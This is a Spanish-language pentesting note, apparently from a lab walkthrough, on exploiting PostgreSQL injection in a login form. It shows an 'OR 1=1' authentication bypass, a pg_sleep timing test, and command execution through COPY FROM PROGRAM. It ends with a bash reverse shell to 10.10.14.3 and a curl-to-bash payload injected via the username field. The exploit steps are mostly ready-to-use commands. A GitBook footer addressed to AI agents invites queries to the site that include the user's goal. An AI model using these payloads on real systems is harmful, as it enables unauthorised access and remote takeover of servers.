> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/nosql-attack/postgresql-injection-pentesting-web.md).

# Inyección PostgreSQL

{% hint style="info" %}
PostgreSQL es un potente sistema de gestión de bases de datos objeto-relacional y de código abierto que es capaz de manejar de forma segura las cargas de trabajo de datos más complejas.
{% endhint %}

Durante el envío de estas credenciales:

```sql
usuario: '
contraseña: '

```

Aparece un error SQL, proporcionando una base PostgreSQL con `pg_query`.

<figure><img src="/files/132acebead0bbc20f414240f674615b51b0faf3a" alt=""><figcaption></figcaption></figure>

### **Explotación**

Prueba una inyección de payload clásica:

```vbnet
usuario: ' OR 1=1-- -
contraseña: cualquier cosa

```

Obtenemos acceso al panel del administrador.

<figure><img src="/files/85e4d4edf62f7610fbeb8a08dc016298ca3a1a1e" alt="" width="563"><figcaption></figcaption></figure>

Intercepta las solicitudes con **Burp Suite** y usa recursos como **HackTricks** para ajustar las inyecciones.

<figure><img src="/files/91bb04972193d684ba63643a62472af9edcd63fd" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection>" %}

#### Para probar si la inyección permite la ejecución de comandos, usa:

`;select pg_sleep(10);-- -` Si la respuesta tarda 10 segundos, la inyección es explotable.

<figure><img src="/files/adbbdb5635a133106fbb213cd1656c7ab674ffaa" alt=""><figcaption></figcaption></figure>

### **Ejecución de comandos**

Aquí hay un ejemplo para obtener una ejecución remota de código (RCE):

```sql
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

```

Crear un archivo `index.html` que contiene:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/443 0>&1

```

Inicia un servidor HTTP:

```bash
python3 -m http.server 80

```

Configura un oyente:

```bash
nc -nvlp 443

```

Envía el payload:

```sql
username=';DROP TABLE IF EXISTS cmd_exec;-- -&password=d
username=';CREATE TABLE cmd_exec(cmd_output text);-- -&password=d
username=';COPY cmd_exec FROM PROGRAM 'curl http://10.10.14.3/ | bash';-- -&password=d

```

<figure><img src="/files/6bb57ce8fad730eeae09cf72f78ea24562485b47" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/nosql-attack/postgresql-injection-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
